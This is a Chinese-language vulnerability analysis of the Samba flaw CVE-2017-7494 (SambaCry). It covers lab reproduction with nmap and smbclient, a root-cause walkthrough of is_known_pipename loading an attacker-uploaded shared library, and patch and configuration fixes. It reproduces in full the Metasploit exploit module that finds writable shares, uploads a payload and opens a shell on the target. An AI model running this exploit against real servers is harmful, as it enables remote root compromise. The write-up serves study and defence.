跳转至

CVE-2017-7494(SambaCry漏洞)

漏洞描述

Samba 是一套可使 UNIX 系列的操作系统与微软 Windows 操作系统的 SMB/CIFS 网络协议做连结的自由软件。这个漏洞使得 Samba 客户端可以主动上传共享库到 Samba 服务器同时加载并执行该动态库导出函数。

Important

攻击者利用漏洞可以进行远程代码执行,具体执行条件如下:

  • 系统开启了文件/打印机共享端口445;
  • 共享文件夹拥有写入权限;
  • 恶意攻击者需猜解 Samba 服务端共享目录的物理路径;

满足以上条件时,由于 Samba 能够为选定的目录创建网络共享,当恶意的客户端连接上一个可写的共享目录时,通过上传恶意的共享库文件,触发漏洞使 Samba 服务端加载并执行它,从而实现了远程代码执行。根据服务器的配置情况,恶意代码还有可能以 root 权限执行。

CVE-2017-7494漏洞和WannaCry永恒之蓝类似,由于攻击的对象主要是运行Linux/Unix系统的设备,这个漏洞也被称为“SambaCry”或者"Linux版WannaCry"。WannaCry能够攻击我们的Windows电脑,“SambaCry”则能够攻击存储数据的Linux服务器。

影响版本

  • Samba 3.5.0- 4.6.4
  • Samba 3.5.0- 4.5.10
  • Samba 3.5.0- 4.4.14

环境配置

  • Vulhub项目
  • Docker-compose启动

Bash
# smb.conf配置如下:
[global]
    map to guest = Bad User
    server string = Samba Server Version %v
    guest account = nobody

[myshare]
    path = /home/share
    read only = no
    guest ok = yes
    guest only = yes
  • 访问会暴露samba的版本号
  • 共享路径为/home/share
  • 有写文件权限
  • 允许匿名访问

漏洞复现

漏洞存在验证

Bash
sudo nmap -sT -sV -p 445 192.168.40.129

只能得到大概的版本范围

Bash
sudo apt install samba-client
smbclient -L 192.168.40.129

这里可以得到详细版本号,当然这是由于smb.conf文件中配置的暴露版本号

Bash
smbclient //192.168.40.129/myshare (-N)

Success

成功连接,可以看到共享文件

MSF利用

Text Only
search cve:2017-7494

当然也可以用脚本:opsxcq/exploit-CVE-2017-7494: SambaCry exploit and vulnerable container (CVE-2017-7494) (github.com)

漏洞原理

Samba服务

samba**能干什么?什么场合用到它?**

samba 是基于SMB协议(ServerMessage Block,信息服务块)的开源软件,samba也可以是SMB协议的商标。SMB是一种Linux、UNIX系统上可用于共享文件和打印机等资源的协议,这种协议是基于Client\Server型的协议,Client端可以通过SMB访问到Server(服务器)上的共享资源。当Windows是 Client,CentOS是服务器时,通过Samba就可以实现window访问Linux的资源,实现两个系统间的数据交互。

Linux对于开发来说是一个非常好的系统,但是人机友好不如windows,我就通常在windows上用sourceinsight编辑代码,然后在Linux端编译运行,而且经常需要把音视频从Linux和windows端互相拷贝,这时候Samba就显得很方便了。

Samba基础

Samba是一组软件包,也是一套让UNIX系统能够应用Microsoft网络通信协议的软件。它使运行UNIX系统的计算机能与运行Windows系统的计算机分享驱动器与打印机。Samba属于GNU Public License(简称GRL)的软件。Samba的核心是SMB。

Samba是由smbd和nmbd两个守护进程组成的。它们使用的全部配置信息都保存在smb.conf中,smb.conf向这两个守护进程说明输出内容,共享资源等信息。smbd进程的作用是Samba的SMB服务器,它使用SMB与客户连接,完成事实上的用户认证、权限管理和文件共享认证,该软件包的资源与Linux进行协商;nmbd提供NetBIOS名字服务的守护进程,可以帮助客户定位服务器和域,如同Windows NT上的WINS服务器。Samba软件包还包括命令行工具。

SMB是Samba 的核心启动服务,主要负责建立 Linux Samba服务器与Samba客户机之间的对话, 验证用户身份并提供对文件和打印系统的访问,只有SMB服务启动,才能实现文件的共享,监听139 TCP端口 NMB服务是负责解析用的,类似与DNS实现的功能,NMB可以把Linux系统共享的工作组名称与其IP对应起来,如果NMB服务没有启动,就只能通过IP来访问共享文件,监听137和138UDP端口。

Samba的主要功能如下:

  • 提供Windows操作系统风格的文件和打印机共享,Windows操作系统通过它使用共享UNIX等其他操作系统的资源,外表看起来和共享的Windows操作系统资源没有区别。
  • 提供SMB客户功能,利用Samba提供的smbclint程序可以从UNIX下以类似于FTP的方式访问Windows的资源。
  • 备份PC上的资源,利用一个名为smbtar的shell脚本,可以使用tar格式备份和恢复一台远程Windows上的共享文件。
  • 提供一个命令行工具,在其上可以有限制的支持Windows操作系统的某些管理功能。

linux网络共享服务Samba服务器配置和应用

Samba功能拓展

samba提供了一套module system机制,它提供了samba功能扩展的灵活性

Text Only
1. Transparent loading of static and shared modules (no need for a subsystem to know about modules)
2. Simple selection between shared and static modules at configure time
3. "preload modules" option for increasing performance for stable modules
4. No nasty #define stuff anymore
5. All backends are available as plugin now (including pdb_ldap and pdb_tdb)

Loading modules

samba 中的一些子系统使用不同的后端。这些后端可以静态链接到 samba 中,也可以作为插件使用。子系统应该有一个功能,允许模块注册自己。例如,passdb 子系统具有:NTSTATUS smb_register_passdb(int version, const char *name, pdb_init_function init);此函数将由模块的初始化函数调用以注册自身。

Static modules

模块系统为每个子系统的静态模块编译初始化函数列表。这是一个定义。例如,它目前在这里(来自 include/config.h):

Text Only
/* Static init functions */
#define static_init_pdb { pdb_mysql_init(); pdb_ldap_init(); pdb_smbpasswd_init(); pdb_tdbsam_init(); pdb_guest_init();}
These functions should be called before the subsystem is used. That should be done when the subsystem is initialised or first used.

Shared modules

如果一个子系统需要某个后端,它应该检查它是否已经注册。如果后端尚未注册,则子系统应调用 smb_probe_module(char subsystem, char backend)。此函数尝试从特定路径 ($LIBDIR/subsystem/backend.so) 加载正确的模块。如果 'backend' 中的第一个字符是斜杠,则 smb_probe_module() 会尝试从 'backend' 中指定的绝对路径加载模块。 执行 smb_probe_module() 后,子系统应再次检查模块是否已注册。

0x2: RPC Pluggable Modules

回到这次漏洞的主角,RPC 子系统,添加此架构是为了提高 Samba 的可维护性,允许 RPC 管道与主 CVS 分支分开处理。RPM架构还将允许第三方供应商通过插件向Samba添加功能。

Samba在3.0之后增加了RPC方式为Samba server增加功能扩展插件(so)的能力

Text Only
When an RPC call is sent to smbd, smbd tries to load a shared library by the name librpc_<pipename>.so to handle the call if it doesn't know how to handle the call internally. For instance, LSA calls are handled by librpc_lsass.so.. These shared libraries should be located in the <sambaroot>/lib/rpc. smbd then attempts to call the init_module function within the shared library

原理分析

Samba是在Linux或Unix系统上用来实现文件共享和打印服务的通信协议,也是很多家用的智能硬件设备例如NAS设备内置的协议,采用服务端口445。由于Samba内置函数is_known_pipename里面出现字符过滤问题,导致攻击者可以向共享目录传递恶意文件,导致被远程代码执行。

Important

攻击者可通过上传恶意的链接库文件(.so),使服务端程序加载并执行它,从而实现远程代码执行。根据Samba官方说明了解,漏洞出现在source3/rpc_server/srv_pipe.c中的is_known_pipename函数里,由于函数没有正确处理管道名称,导致Samba加载恶意动态库文件,从而执行任意代码。

在metasploit中有一个对CVE-2017-7494漏洞的攻击代码is_known_pipename

该模块可在Samba版本3.5.0至4.4.14、4.5.10和4.6.4中触发任意共享库加载漏洞。该模块需要有效的凭据,可访问共享中的可写文件夹以及对可写文件夹的服务器端路径的了解。在某些情况下,可以使用匿名访问与常见文件系统位置的组合来自动利用此漏洞。

该攻击代码最核心payload本质上就是一个SMB数据包,即通过SMB协议打开一个named pipe文件。这个数据包到达Linux Samba服务器后,会触发命名管道解析流程:\ samba-3.5.0 \ source3 \ rpc_server \ src_pipe.c

Ruby
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery & Python Exploit
          'hdm',                                  # Metasploit Module
          'bcoles',  # Check logic
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      'Targets'         =>
        [

          [ 'Automatic (Interact)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
                }
              }
            }
          ],
          [ 'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64',      { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS',       { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE',     { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64',     { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE',   { 'Arch' => ARCH_MIPS64LE } ],
          [ 'Linux PPC',        { 'Arch' => ARCH_PPC } ],
          [ 'Linux PPC64',      { 'Arch' => ARCH_PPC64 } ],
          [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
          [ 'Linux SPARC',      { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64',    { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x',      { 'Arch' => ARCH_ZARCH } ],
        ],
      'DefaultOptions' =>
        {
          'DCERPC::fake_bind_multi' => false,
          'SHELL'                   => '/bin/sh',
        },
      'Privileged'      => true,
      'DisclosureDate'  => '2017-03-24',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])

  end

  def post_auth?
    true
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  def setup
    super
    @@payload_arch_mappings = {
        ARCH_X86      => [ 'x86' ],
        ARCH_X64      => [ 'x86_64' ],
        ARCH_MIPS     => [ 'mips' ],
        ARCH_MIPSLE   => [ 'mipsel' ],
        ARCH_MIPSBE   => [ 'mips' ],
        ARCH_MIPS64   => [ 'mips64' ],
        ARCH_MIPS64LE => [ 'mips64el' ],
        ARCH_PPC      => [ 'powerpc' ],
        ARCH_PPC64    => [ 'powerpc64' ],
        ARCH_PPC64LE  => [ 'powerpc64le' ],
        ARCH_SPARC    => [ 'sparc' ],
        ARCH_SPARC64  => [ 'sparc64' ],
        ARCH_ARMLE    => [ 'armel', 'armhf' ],
        ARCH_AARCH64  => [ 'aarch64' ],
        ARCH_ZARCH    => [ 's390x' ],
    }

    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W{
      mips64el sparc64 s390x
    }

    # General platforms (OS + C library)
    @@payload_platforms = %W{
      linux-glibc
    }
  end

  # List all top-level directories within a given share
  def enumerate_directories(share)
    begin
      vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
      connect(versions: [1])
      smb_login
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        next unless entry_attr['type'] == 'D'
        directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      simple.disconnect("\\\\#{rhost}\\#{share}")
      smb_connect
    end
  end

  # Determine whether a directory in a share is writeable
  def verify_writeable_directory(share, directory="")
    begin
      simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      simple.disconnect("\\\\#{rhost}\\#{share}")
    end
  end

  # Call NetShareGetInfo to retrieve the server-side path
  def find_share_path
    share_info = smb_netsharegetinfo(@share)
    share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
  end

  # Crawl top-level directories and test for writeable
  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      return subdir
    end

    nil
  end

  # Locate a writeable directory across identified shares
  def find_writeable_share_path
    @path = nil
    share_info = smb_netshareenumall
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      found = find_writeable_path(share.first)
      next unless found
      @share = share.first
      @path  = found
      break
    end
  end

  # Locate a writeable share
  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  # Store the wrapped payload into the writeable share
  def upload_payload(wrapped_payload)
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << wrapped_payload
      wfd.close

      @payload_name = random_filename

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      simple.disconnect("\\\\#{rhost}\\#{@share}")
    end

    print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
    return true
  end

  # Try both pipe open formats in order to load the uploaded shared library
  def trigger_payload

    target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
    [
      "\\\\PIPE\\" + target,
      target
    ].each do |tpath|

      print_status("Loading the payload from server-side path #{target} using #{tpath}...")

      smb_connect

      # Try to execute the shared library from the share
      begin
        simple.client.create_pipe(tpath)
        probe_module_path(tpath)

      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
        # Common errors we can safely ignore

      rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
        # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
        if e.error_code == 0xc0000039
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.error_name}")
        end
      rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
        if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.status_code.name}")
        end
      end

      disconnect

    end

    false
  end

  def pwn
    print_good("Probe response indicates the interactive payload was loaded...")
    smb_shell = self.sock
    self.sock = nil
    remove_socket(sock)
    handler(smb_shell)
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
    template_list = []
    template_type = nil
    template_arch = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)
      template_type = target['Interact'] ? 'findsock' : 'system'

      all_architectures = @@payload_arch_mappings.values.flatten.uniq

      # Include our bonus architectures for the interact payload
      if target['Interact']
        @@payload_arch_bonus.each do |t_arch|
          all_architectures << t_arch
        end
      end

      # Prioritize the most common architectures first
      %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @@payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that mau have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @@payload_platforms.each do |t_plat|

      # Cycle through each template and yield
      template_list.each do |t_arch|


        wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        next unless ::File.exist?(wrapper_path)

        data = ''
        ::File.open(wrapper_path, "rb") do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
        yield(data)
      end
    end
  end

  # Verify that the payload settings make sense
  def sanity_check
    if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
      print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
      print_error("       Please set PAYLOAD to cmd/unix/interact and try this again")
      print_error("")
      fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
    end

    if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
      print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
      print_error("       Please set a valid PAYLOAD and try this again")
      print_error("")
      fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
    end
  end

  # Shorthand for connect and login
  def smb_connect
    connect
    smb_login
  end

  # Start the shell train
  def exploit
    # Validate settings
    sanity_check

    # Setup SMB
    smb_connect

    # Find a writeable share
    find_writeable

    # Retrieve the server-side path of the share like a boss
    print_status("Retrieving the remote path of the share '#{@share}'")
    @share_path = find_share_path
    print_status("Share '#{@share}' has server-side path '#{@share_path}")

    # Disconnect
    disconnect

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|

      # Connect, upload the shared library payload, disconnect
      smb_connect
      upload_payload(wrapped_payload)
      disconnect

      # Trigger the payload
      early = trigger_payload

      # Cleanup the payload
      begin
        smb_connect
        simple.connect("\\\\#{rhost}\\#{@share}")
        uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
        simple.delete(uploaded_path)
        disconnect
      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
      end

      # Bail early if our interact payload loaded
      return if early
    end
  end

  # A version-based vulnerability check for Samba
  def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d\.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe
    end

    samba_version = Rex::Version.new($1.gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version.to_s}")

    if samba_version < Rex::Version.new('3.5.0')
      return CheckCode::Safe
    end

    # Patched in 4.4.14
    if samba_version < Rex::Version.new('4.5.0') &&
       samba_version >= Rex::Version.new('4.4.14')
      return CheckCode::Safe
    end

    # Patched in 4.5.10
    if samba_version > Rex::Version.new('4.5.0') &&
       samba_version < Rex::Version.new('4.6.0') &&
       samba_version >= Rex::Version.new('4.5.10')
      return CheckCode::Safe
    end

    # Patched in 4.6.4
    if samba_version >= Rex::Version.new('4.6.4')
      return CheckCode::Safe
    end

    smb_connect
    find_writeable_share_path
    disconnect

    if @share.to_s.length == 0
      print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
      return CheckCode::Detected
    end

    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
  end
end

check samba版本

枚举目录

找出可写的路径

写入so文件


根据Samba官方说明了解,漏洞出现在**source3/rpc_server/srv_pipe.c中的is_known_pipename函数里**,由于函数没有正确处理管道名称,导致Samba加载恶意动态库文件,从而执行任意代码。

该漏洞需要通过一个**可写入的Samba用户权限就可以提权到root权限**,即使Samba默认不是root用户执行。通过发布的最新版本补丁,进行对比分析,可以看到在is_known_pipename函数中对pipename是否包含‘/’进行了检查。

首先讲一下如何加载恶意动态库。漏洞的触发位置:source3/rpc_server/srv_pipe.c。

在这里可以看到pipename参数,这是一个管道名。需要利用这个**管道名就是恶意共享库so文件参数**,如/tmp/xxx.so , 这个参数再传递进 smb_probe_module 里,跟进下这个函数:\samba-4.6.3\lib\util\modules.c。

它又把参数传入do_smb_load_module函数中,还在当前文件中,跟进该函数。

根据管道名的不同,程序会走两个流程,最终会进入load_module。如果管道名字存在‘/’, 会进入else里调用load_module()函数,把管道名传入进去:

可以看到把管道名传递进入到 dlopen 函数,该函数可以打开恶意构造的共享库文件,接着把句柄handle给了dlsym函数来加载SAMBA_INIT_MODULE,也就是说恶意共享库的功能要写入到Samba初始化函数里才能被加载,这样就触发了恶意构造的函数功能。

随后会执行**samba_init_module函数**。

1614688157_603e2f9d56a0a5d5c18ed.png!small?1614688157455

通过上述分析可知,这里我们可以**构造一个有“/”符号的管道名或路径名**,如/home/exchange/evil.so,对于存在漏洞的版本,就会代入smb_probe_module中,从而可以加载攻击者上传并执行dll或者so文件。

Important

条件:攻击者拥有上传文件权限

  • 构造一个有‘/’符号的管道名或路径名,如 “/home/toor/cyg07.so”,攻击者上传含有恶意代码的so文件至samba服务器;
  • 猜测绝对路径,通过构造以/开头的路径名(eg. /home/samba/attacker.so)发送到服务端,使其返回该文件FID;
  • 后续直接请求这个FID就进入上面所说的恶意流程。请求该FID便可调用so文件中的samba_init_module,实现任意代码执行。

修复建议

1.建议关闭Smb服务,用Sftp的方式实现局域网内的文件共享。

通过命令检测Smb服务是否开启,命令如下:

  • # /etc/init.d/smb status
  • # pgrep smbd
  • # ps -ef|grep smbd

在不需要Smb服务的同时,可以将该服务关闭

  • # /etc/init.d/smb stop
  • # service smbd stop
  • # chkconfig smbd off

2.提供专用的Smb服务器,并调整139、445默认端口配置。

3.启用Linux和Unix Iptables防火墙过滤功能。

4.及时更新官网opening windows to a wider world samba补丁的方式来进行防范。

5.官方修复

在git上看到官方的修复如下,在is_known_pipename函数中做了判断,只要有/的一律不再走下面的流程(Linux中的管道名均不含/),并返回错误。

1614688853_603e3255605a72881d01f.png!small?1614688853607

6.临时解决方案

在samba的配置文件smb.conf中添加nt pipe support = 0,即关闭pipe支持(依赖pipe的功能受影响)。

Bash
#==============Global Settings ============

[global]

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH

workgroup = WORKGROUP

# server string is the equivalent of the NT Description field

server string = Samba Server

# fix CVE-2017-7494

nt pipe support = 0